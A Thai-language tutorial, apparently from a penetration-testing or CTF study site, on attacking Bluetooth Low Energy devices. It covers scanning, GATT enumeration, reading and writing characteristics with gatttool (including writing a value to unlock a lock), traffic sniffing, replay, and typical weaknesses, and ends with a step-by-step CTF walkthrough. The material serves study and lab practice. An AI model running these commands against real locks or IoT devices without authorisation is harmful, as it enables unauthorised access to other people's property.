BLE Attacks
Bluetooth Low Energy (BLE) เป็น protocol ไร้สายของอุปกรณ์ IoT จำนวนมาก (smart lock, wearable, beacon) บทนี้ลงลึกพื้นฐาน GAP/GATT, การ scan หาอุปกรณ์, การ enumerate service/characteristic, การอ่าน/เขียนค่า, การ sniff ทราฟฟิก, replay และช่องโหว่ที่พบบ่อย (เนื้อหาเพื่อฝึกใน lab/CTF/อุปกรณ์ที่ได้รับอนุญาต)
1. พื้นฐาน BLE (GAP / GATT)
BLE ออกแบบมาให้กินไฟต่ำ ใช้ใน smart lock, fitness band, beacon, medical device โครงสร้างสำคัญ: GAP (จัดการ advertising + connection — อุปกรณ์ broadcast ตัวเองให้เจอ) และ GATT (โครงสร้างข้อมูล: Service → มีหลาย Characteristic → แต่ละ characteristic มีค่า + properties เช่น read/write/notify) การโจมตี BLE คือ enumerate GATT แล้วอ่าน/เขียน characteristic (เช่นสั่งปลดล็อค) หรือดักทราฟฟิก
2. Scan หาอุปกรณ์
# bluetoothctl (BlueZ)
bluetoothctl
[bluetooth]# scan on # เห็น MAC + ชื่อ + RSSI ของอุปกรณ์รอบตัว
[bluetooth]# devices # list ที่เจอ
# hcitool (เก่าแต่ใช้ได้)
sudo hcitool lescan # scan BLE (LE)
# bettercap (ครบเครื่อง)
sudo bettercap
> ble.recon on # scan
> ble.show # แสดงอุปกรณ์ + service
# ดู advertising data (เผยชนิด/ผู้ผลิต/UUID service)
sudo btmon # monitor HCI (เห็น adv packet ละเอียด)3. Enumerate GATT (service/characteristic)
# bluetoothctl — connect + ดู GATT
bluetoothctl
[bluetooth]# connect AA:BB:CC:DD:EE:FF
[device]# menu gatt
[device]# list-attributes # list service + characteristic (พร้อม UUID + handle)
# gatttool (interactive)
gatttool -b AA:BB:CC:DD:EE:FF -I
[..]> connect
[..]> primary # list primary services
[..]> characteristics # list characteristics (handle + properties + UUID)
# bettercap
> ble.enum AA:BB:CC:DD:EE:FF # enumerate service/characteristic + properties
# GUI มือถือ: nRF Connect (Nordic) — เห็น service/characteristic + read/write ง่ายสุด4. อ่าน / เขียน characteristic
# อ่านค่า characteristic (ตาม handle)
gatttool -b AA:BB:CC:DD:EE:FF --char-read -a 0x0025
# หรือใน interactive: char-read-hnd 0x0025
# เขียนค่า (เช่นสั่งปลดล็อค/เปลี่ยนสถานะ)
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0025 -n 01
# -n = ค่า hex ที่เขียน (เช่น 01 = on/unlock)
# subscribe notification (รับค่าที่อุปกรณ์ส่ง)
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0026 -n 0100 # เปิด notify
gatttool -b AA:BB:CC:DD:EE:FF --listen
# วิเคราะห์: ลองอ่านทุก characteristic ที่ read ได้ → หาค่าที่น่าสนใจ
# ลองเขียน characteristic ที่ write ได้ → ดูว่าควบคุมอะไร (เช่นสั่งงาน)5. Sniff ทราฟฟิก BLE
การดักทราฟฟิก BLE ระหว่างอุปกรณ์กับ app มือถือ เผย protocol/command ที่ใช้จริง — ต้องมี hardware sniffer เพราะ BLE hop ช่องสัญญาณเร็ว
- nRF52840 dongle + Wireshark: ถูกและนิยม — flash firmware sniffer ของ Nordic → capture เข้า Wireshark (มี BLE dissector)
- Ubertooth One: sniff BLE (และ Bluetooth classic บางส่วน) →
ubertooth-btle -f→ Wireshark - capture pairing: ถ้าดักตอน pairing ได้ + รู้ key อาจ decrypt ได้ (Just Works pairing = อ่อน)
- วิเคราะห์ใน Wireshark: filter
btatt→ ดู read/write request + value (เห็น command จริงที่ app ส่ง) - HCI snoop log (Android): เปิด Developer Options → Bluetooth HCI snoop log → ดึง log มาเปิด Wireshark (ไม่ต้องมี sniffer hardware!)
6. ช่องโหว่ + replay
- ไม่มี pairing/encryption: อุปกรณ์จำนวนมากให้ connect + อ่าน/เขียน characteristic โดยไม่ต้อง pair → สั่งงานได้ทันที (เช่น smart bulb/plug ราคาถูก)
- Just Works pairing: pairing แบบไม่มี PIN/confirmation → MITM ได้, sniff แล้ว decrypt ได้
- replay attack: ดัก command (เช่น unlock) แล้วส่งซ้ำ — ถ้าไม่มี nonce/counter จะใช้ได้ (เช่น replay ค่าที่เขียนไป characteristic)
- no authentication on characteristic: characteristic สำคัญ (unlock, config) เขียนได้โดยไม่ต้อง auth
- hardcoded/predictable key: key/PIN เดาได้หรือ hardcode ใน app (decompile app หา — ดู Firmware/Reverse)
- static MAC + sensitive adv: track อุปกรณ์/คนได้จาก MAC ที่ไม่ random
7. Quick Reference
- BLE: GAP (advertising/connect) + GATT (Service→Characteristic)
- scan: bluetoothctl scan on / hcitool lescan / bettercap ble.recon
- enumerate: gatttool --primary/--characteristics / nRF Connect (app)
- read/write: gatttool --char-read / --char-write-req -n VALUE (สั่งงาน)
- sniff: nRF52840+Wireshark / Ubertooth / Android HCI snoop log
- ช่องโหว่: no pairing/encryption, Just Works, replay, no auth on characteristic
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติโจทย์ CTF ให้อุปกรณ์ BLE (smart lock, beacon, wearable) มา มีแค่ Kali + adapter Bluetooth ในตัว — ทำตามนี้ทีละขั้น ตั้งแต่ scan จนถึงหาช่องทางสั่งงานอุปกรณ์
- 1สแกนหาอุปกรณ์:
bluetoothctlแล้วพิมพ์scan on— จด MAC address ของเป้าหมาย - 2ลอง connect:
connect AA:BB:CC:DD:EE:FFใน bluetoothctl — ถ้าต้อง pair ให้ลองpair AA:BB:CC:DD:EE:FFก่อน - 3enumerate service/characteristic:
menu gattแล้วlist-attributes(หรือใช้แอป nRF Connect บนมือถือดูง่ายกว่า) - 4จดว่า characteristic ไหน read ได้ ไหน write ได้ (ดู properties)
- 5อ่านทุกตัวที่ read ได้:
gatttool -b MAC --char-read -a 0xHANDLE— หาค่าที่ดูน่าสนใจ - 6ลองเขียนค่าใน characteristic ที่ write ได้:
gatttool -b MAC --char-write-req -a 0xHANDLE -n 01— ดูว่าอุปกรณ์ตอบสนองไหม (เช่นไฟติด/ปลดล็อค) - 7ถ้าไม่มีอะไรเกิดขึ้น ให้ sniff ทราฟฟิกจริงจาก app ทางการก่อน — เปิด Developer Options ในมือถือ Android → HCI snoop log → ใช้งาน app ปกติ → ดึง log มาเปิด Wireshark
- 8ดู filter
btattใน Wireshark หา write request ที่ app ส่งจริง แล้วลองเขียนค่าเดียวกันเอง - 9ถ้ายังไม่ได้ผล ลอง decompile companion mobile app หา hardcoded key/protocol ที่ฝังไว้
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| scan หาอุปกรณ์ | bluetoothctl, hcitool | - | - |
| enumerate GATT ให้ง่าย/สวย | gatttool, bettercap | - | nRF Connect (แอปมือถือ ฟรี) |
| อ่าน/เขียน characteristic | gatttool | - | - |
| sniff โดยไม่มี hardware sniffer | - | - | Android Developer Options: HCI snoop log (ในมือถือ) |
| sniff ด้วย hardware sniffer | - | nRF52840 dongle (Nordic sniffer firmware) / Ubertooth One | - |
| วิเคราะห์ pcap ที่ดักได้ | wireshark | - | - |
| decompile companion app หา key | - | apt install apktool; pipx install jadx | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้